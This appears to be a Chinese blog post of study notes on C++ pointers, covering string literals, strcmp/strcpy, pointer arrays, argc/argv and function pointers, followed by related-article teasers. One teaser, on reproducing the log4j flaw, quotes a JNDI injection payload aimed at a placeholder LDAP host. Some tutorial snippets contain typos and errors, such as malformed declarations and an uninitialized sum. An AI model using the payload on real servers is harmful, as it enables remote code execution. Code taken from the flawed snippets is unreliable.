《C++程序设计》阅读笔记【4-指针(2)】

在这里插入图片描述

在这里插入图片描述

🌈个人主页:godspeed_lucip
🔥 系列专栏:《C++程序设计》阅读笔记

本文对应的PDF源文件请关注微信公众号程序员刘同学,回复C++程序设计获取下载链接。


  • 1 指针
    • 1.1 字符指针
      • 1.1.1 字符串的表示
      • 1.1.2 字符串的属性
      • 1.1.3 字符指针
      • 1.1.4 字符串比较
      • 1.1.5 字符串赋值
    • 1.2 指针数组
      • 1.2.1 概述
      • 1.2.2 指针数组和二维数组的不同
      • 1.2.3 指向指针的指针
      • 1.2.4 NULL指针值
    • 1.3 命令行参数
      • 1.3.1 概念
    • 1.4 函数指针
      • 1.4.1 概述
      • 1.4.2 typedef简化
      • 1.4.3 例子
  • 2 总结


1 指针

1.1 字符指针

1.1.1 字符串的表示

字符串的类型是指向字符的指针(字符指针char *)。例如char *buffer[]="hello";

字符串在内存中以\0结尾。

当字符串用于字符数组初始化时,其在完成将内容填写到所创建的字符数组中之后,随即消失,不再另辟存储空间;而当字符串用于表达式,或输出,或赋值,或作参数传递,则其在运行中有它自己的存储空间,可以寻址访问

1.1.2 字符串的属性

字符串通常存放在内存的 const 区。而字符数组则不同,如果字符数组是全局变量,存放在全局或静态区;如果字符数组是局部数据,就存放在内存的栈区

每个字符串都会被单独存储,即使两个字符串的内容完全相同,但是也会被存储在两个不同的空间。而字符串的比较实际上是存储地址的比较。因此,下面的代码:

image-20240228215124498

结果为not equal

1.1.3 字符指针

字符串、字符数组名、字符指针均属于同一种数据类型

解释:

当编译器遇到一字符串时,就把它放到字符串池(data 区的 const 区)中,以'\0'作结束符,记下其起始地址,在所构成的代码中使用该地址。所以,字符串会自动被转换为地址

而字符数组名是一个指向数组第一个元素(字符)的指针。

字符指针是指向对应字符的的指针

所以这三个数据类型本质上都是“地址”。

下面的例子中:

image-20240228220403171

结果为:

image-20240228220440583

请注意:虽然pc指向的是字符串hello的第一个字符,但是当使用 cout << pc; 时,cout 会根据 pc 指向的地址开始输出字符,直到遇到空字符 '\0' 为止。因此,输出的结果是整个字符串 "hello"。之后输出ABC同理。

输出字符指针就是输出字符串。输出字符指针的间接引用,就是输出单个字符(重在理解,不要死记硬背)

1.1.4 字符串比较

要想真正的比较字符串的内容,可以使用strcmp(包含string头文件#include<string>

int strcmp(const char* strl,const char * str2);

image-20240228221030925

1.1.5 字符串赋值

C++中可以用字符串去初始化字符数组,但是不能对字符数组赋予一个字符串。原因是数组名是常量指针,不是左值。但是可以改变数组中的值。例如:

char buf[10] = "ABC"; // ok
buf[0] = ’C‘; //ok
buf = "IJN"; // error

TIP:字符数组的修改

  1. 非常量字符数组:
char str[] = "Hello";
str[0] = 'C';  // 合法,修改字符数组的内容
  1. 常量字符数组:
const char str[] = "Hello";
// str[0] = 'C';  // 错误,无法修改常量字符数组的内容

可以使用strcpy对字符数组赋值:

#include<string>
char bufferll10];
char buffer2[10];
strcpy(buffer1,"hello");
strcpy(buffer2,buffer1);

函数 strcpy()仅能对以'\0'作结束符的字符数组进行操作

1.2 指针数组

1.2.1 概述

下面的代码就定义了一个字符指针数组。虽然里面的”内容“是字符串。但是字符串是存储在常量区的(可能连续也可能不连续),前面已经说过,编译器会以地址的形式去使用字符串,所以proname数组中存储的就是字符指针(连续存储)。

char * proname = {"Fortran","C","C++"}

1.2.2 指针数组和二维数组的不同

在前面的例子中,proname本身包含3个指针(指针的大小都是一定的),而proname[0]指向的字符串包含8个字节(包含\0字符),同理proname[1]、proname[2]分别包含2个字节、4个字节。

而二维数组的每一行的大小都是相等的,所以假如上述内容使用二维数组存储,其所占的内存空间就是8*3=24字节

1.2.3 指向指针的指针

指针数组也是数组,而数组名是指针常量(可以近似这样理解),指向数组第一个元素的起始地址,而指针数组中存储的是指针,因此:指针数组名是指向指针的指针(二级指针)

为什么说可以近似这样理解:

  1. 数组名本质上不是指针
#include<iostream>
using namespace std;

int main(){
	size_t size = sizeof(void*);  // 获取指针大小(字节)
    cout << "Size of a pointer: " << size << " bytes\n";
	char * proname[] = {"Fortran","C","C++"}; //获取数组名的大小 
	cout<<"数组的大小;"<<sizeof(proname)<<"bytes"<<endl;
} 

结果:

image-20240229105951530

假如数组名就是一个指针,那么数组名大小应该也是8比特,但是显然不是。

  1. 数组名会"退化"为指针

例如,看下面的例子:

#include<iostream>
using namespace std;

void test01(char *arr[]){
	cout<<sizeof(arr)<<endl;
}

int main(){
	size_t size = sizeof(void*);  // 获取指针大小(字节)
    cout << "Size of a pointer: " << size << " bytes\n";
	char * proname[] = {"Fortran","C","C++"}; //获取数组名的大小 
	cout<<"数组的大小;"<<sizeof(proname)<<"bytes"<<endl;
	test01(proname); 
}

运行结果:

image-20240229110837659

可以看到,数组在作为参数被传递时,其大小是一个指针的大小。因为为了不让数组的内容全部复制一份到内存中,编译器实际上只会传递数组的地址,此时数组名就只想第一个元素的地址,也就是”退化“成了指针。

奇怪的是,C++程序设计教程(第三版)明确说,数组名就是指针。个人觉得值得商榷。

image-20240229111252229

by the way,如果想输出指针的地址,可以这样:(int)指针

1.2.4 NULL指针值

NULLvoid *是不同的概念。NULL是一个值,一个指针值,任何类型的指针都可赋予该值;而void *是一种类,,它定义无类型指针。

1.3 命令行参数

1.3.1 概念

C++中main函数的参数声明,用于接收命令行参数。

int main(int argc, char* argv[]) {
    // ...
}
  • int argc:这是参数计数(argument count)的缩写。它表示命令行参数的数量,包括程序名称本身。即,argc 给出了传递给程序的命令行参数的个数,至少为1(程序名称本身)。
  • char* argv[]:这是参数向量(argument vector)的缩写。它是一个指向字符指针数组的指针,每个字符指针指向一个命令行参数字符串。数组的第一个元素(argv[0])通常是程序的名称,后续元素是从命令行传递给程序的实际参数。

例如,如果你在命令行中运行程序 ./myprogram arg1 arg2,那么:

  • argc 将为 3(程序名称 myprogramarg1arg2 三个参数)。
  • argv 是一个指针数组,其中 argv[0] 指向程序名称字符串,argv[1] 指向 arg1argv[2] 指向 arg2

通过使用 argcargv,你可以在程序中处理和利用从命令行传递的参数。

1.4 函数指针

1.4.1 概述

函数指针的的定义:(注意一个括号,去掉这个括号就表示一个返回值为指针的普通函数)

image-20240318205655661

函数存放在代码区。

不同类型之间的函数指针不可以相互赋值。

函数指针和其他数据类型的指针之间不可以相互赋值(即使显示转换也不行)。因为从底层来说,数据指针指向data区、stack区、heap区,而函数指针指向code区,是代码。

image-20240229125552075

fp1的类型可以视为int(char,char)fn1的类型可以视为int(char,char)。因此fp1=fn1可以通过。此时,fp1就是一个指针,它指向了函数fn1

不能这样写:fp1=fn1('A','B'),这相当于将fn1的返回值赋值给了fp1。(编译器会报错的)

或者也可以这样写:

int (*fn1_pointer)(char,char) = fn1

此时,fn1_pointer就成为了函数fn1的指针

1.4.2 typedef简化

image-20240229131154893

1.4.3 例子

下面的例子中,将cmath库中的sincos函数作为函数指针传入d_sum,计算其和

#include<iostream>
#include<cmath>
using namespace std;

double d_sum(double(*func)(double), double d1, double d2){
	double sum;
	for(;d1<d2;d1+=0.1){
		sum+=func(d1);
	}
	return sum;
}

int main(){
	cout<<d_sum(sin,0.1,1.0)<<endl;
	cout<<d_sum(cos,0.5,3.0)<<endl;
	return 0;
}

结果:

image-20240229132444335

2 总结

C++,犹如编程的交响乐, 在代码的海洋中奏响和谐的旋律。

它是创造者的笔,雕刻着无尽可能,

是思想的翅膀,让梦想飞翔的天空。

无拘无束,灵活多变。

C++,是程序员心中的宝藏,永不凋零的花朵。

渴望挑战C++的学习路径和掌握进阶技术?不妨点击下方链接,一同探讨更多C++的奇迹吧。我们推出了引领趋势的💻C++专栏:《C++程序设计》阅读笔记,旨在深度探索C++的实际应用和创新。🌐🔍

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/519824.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

单片机之蜂鸣器

目录 蜂鸣器介绍 蜂鸣器的分类 发声原理分类 按有源无源分类 三极管驱动 蜂鸣器原理 音符与频率对照表 蜂鸣器播放130.8Hz的声音 仿真案例 蜂鸣器发声 电路图 keil文件 蜂鸣器播放音乐 歌曲数据获得 使用的频率 keil文件 蜂鸣器介绍 前言&#xff1a;蜂鸣器是…

【洛谷 P8655】[蓝桥杯 2017 国 B] 发现环 题解(邻接表+并查集+路径压缩)

[蓝桥杯 2017 国 B] 发现环 题目描述 小明的实验室有 N N N 台电脑&#xff0c;编号 1 ∼ N 1 \sim N 1∼N。原本这 N N N 台电脑之间有 N − 1 N-1 N−1 条数据链接相连&#xff0c;恰好构成一个树形网络。在树形网络上&#xff0c;任意两台电脑之间有唯一的路径相连。 …

深入理解Java异常处理机制(day20)

异常处理 异常处理是程序运行过程产生的异常情况进行恰当的处理技术 在计算机编程里面&#xff0c;异常的情况比所我们所想的异常情况还要多。 Java里面有两种异常处理方式&#xff1b; 1.利用trycatchfinaly语句处理异常&#xff0c;优点是分开了处理异常代码和程序正常代码…

如何在Ubuntu系统使用Nextcloud+Cpolar搭建可公网访问私人专属网盘

文章目录 1. 安装Docker2. 使用Docker拉取Nextcloud镜像3. 创建并启动Nextcloud容器4. 本地连接测试5. 公网远程访问本地Nextcloud容器5.1 内网穿透工具安装5.2 创建远程连接公网地址5.3 使用固定公网地址远程访问 正文开始前给大家推荐个网站&#xff0c;前些天发现了一个巨牛…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

C盘清理指南

1&#xff0c;临时文件清理 %TEMP%是Windows系统临时文件的环境变量&#xff0c;直接作为指令执行可以打开当前系统的临时文件夹。许多用户通过删除该文件夹中的文件来清理Windows的临时文件&#xff0c;但实际上这样清理并不彻底&#xff0c;我们可以有更轻松、安全的方法。风…

【SCI绘图】【曲线图系列2 python】多类别标签对比的曲线图

SCI&#xff0c;CCF&#xff0c;EI及核心期刊绘图宝典&#xff0c;爆款持续更新&#xff0c;助力科研&#xff01; 本期分享&#xff1a; 【SCI绘图】【曲线图系列2 python】多类别标签对比的曲线图&#xff0c;文末附完整代码。 1.环境准备 python 3 import proplot as pp…

Java流操作解析:深度剖析中间操作、终端操作与并行处理机制

文章目录 一、中间操作1.1 过滤&#xff08;filter&#xff09;1.2 映射&#xff08;map&#xff09;1.3 排序&#xff08;sorted&#xff09;1.4 去重&#xff08;distinct&#xff09; 二、 终端操作2.1 收集&#xff08;collect&#xff09;2.2 计数&#xff08;count&#…

leetcode热题100.跳跃游戏2

Problem: 45. 跳跃游戏 II 文章目录 题目思路复杂度Code 题目 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说&#xff0c;如果你在 nums[i] 处&#xff0c;你可以跳转到任意 nums[i j] 处: …

leetcode.24. 两两交换链表中的节点

题目 给定一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后的链表。 你不能只是单纯的改变节点内部的值&#xff0c;而是需要实际的进行节点交换。 思路 创建虚拟头节点&#xff0c;画图&#xff0c;确认步骤。 实现 /*** Definition for singly-li…

C++运算符重载如何模拟数学表达式,或模拟Python sympy和numpy

在人工智能数学基础一书中&#xff0c;下面是一题Python求函数极限的例子&#xff1a; 【例2.6】使用Python编程求 lim( x → 1) (x^2 - 1 / x - 1) ————————————————————————————————————————— import sympy from sympy import oo…

详细剖析多线程3----代码案例分析

文章目录 一、单例模式(校招中最常考的设计模式之⼀)1.1饿汉模式1.2懒汉模式 二、阻塞队列三、定时器四、线程池五、总结 一、单例模式(校招中最常考的设计模式之⼀) 单例模式是一种设计模式&#xff0c;其核心思想是保证一个类只有一个实例&#xff0c;并提供一个全局访问点来…

Three.js阴影贴图

生成阴影贴图的步骤如下&#xff1a; 从光位置视点&#xff08;阴影相机&#xff09;创建深度图。从相机的角度进行屏幕渲染在每个像素点&#xff0c;将阴影相机的MVP矩阵计算出的深度值与深度图值进行比较如果深度图值较低&#xff0c;则说明该像素点存在阴影 &#xff0c;因…

html5如何在使用原生开发的情况下实现组件化

我们知道如何在vue/react中使用组件化开发&#xff0c;那么如果只是一个简单的界面&#xff0c;一个HTML就搞定的事情&#xff0c;你还会去新建一个vue/react项目吗&#xff1f; 在使用原生HTML开发时&#xff0c;我们也会遇到一些常见的功能、模块&#xff0c;那么如何在原生…

【APUE】网络socket编程温度采集智能存储与上报项目技术------多路复用

作者简介&#xff1a; 一个平凡而乐于分享的小比特&#xff0c;中南民族大学通信工程专业研究生在读&#xff0c;研究方向无线联邦学习 擅长领域&#xff1a;驱动开发&#xff0c;嵌入式软件开发&#xff0c;BSP开发 作者主页&#xff1a;一个平凡而乐于分享的小比特的个人主页…

无锡国家集成电路设计中心某公司的单锂小电机直流电机H桥驱动电路

H桥驱动 L9110S是一款直流电机驱动电路&#xff0c;适合单节锂电池应用。输出电流0.4A。价格约3毛。 推荐原因&#xff1a; 某些人应该知道这个地方&#xff0c;大多数人应该不知道这个地方&#xff0c;所以推荐一下。 这个地方去过几次&#xff0c;某公司与某方走的“近”&…

在同一个局域网如何共享打印机和文件

1.在连接了打印机的主机上设置 1.1启用windows共享 打开网络与共享中心&#xff0c;点击“更改高级共享设置” 选择&#xff1a; “启用网络发现”“启用文件和打印机共享”“启用共享以便可以访问网络的用户可以读取和写入公用文件夹中的文件” 打开控制面板&#xff0c;选…

C#将Console写至文件,且文件固定最大长度

参考文章 将C#的Console.Write同步到控制台和log文件输出 业务需求 在生产环境中&#xff0c;控制台窗口不便展示出来。 为了在生产环境中&#xff0c;完整记录控制台应用的输出&#xff0c;选择将其输出到文件中。 但是&#xff0c;一次性存储所有输出的话&#xff0c;文件会…

NASA数据集——加拿大西北地区(NWT)2014 年被野火烧毁的北方森林的实地数据

ABoVE: Characterization of Carbon Dynamics in Burned Forest Plots, NWT, Canada, 2014 简介 文件修订日期&#xff1a;2019-04-12 数据集版本: 1 摘要 该数据集提供了加拿大西北地区&#xff08;NWT&#xff09;2014 年被野火烧毁的北方森林的实地数据。在 2015 年的实…

(学习日记)2024.04.03:UCOSIII第三十一节:信号量函数接口讲解

写在前面&#xff1a; 由于时间的不足与学习的碎片化&#xff0c;写博客变得有些奢侈。 但是对于记录学习&#xff08;忘了以后能快速复习&#xff09;的渴望一天天变得强烈。 既然如此 不如以天为单位&#xff0c;以时间为顺序&#xff0c;仅仅将博客当做一个知识学习的目录&a…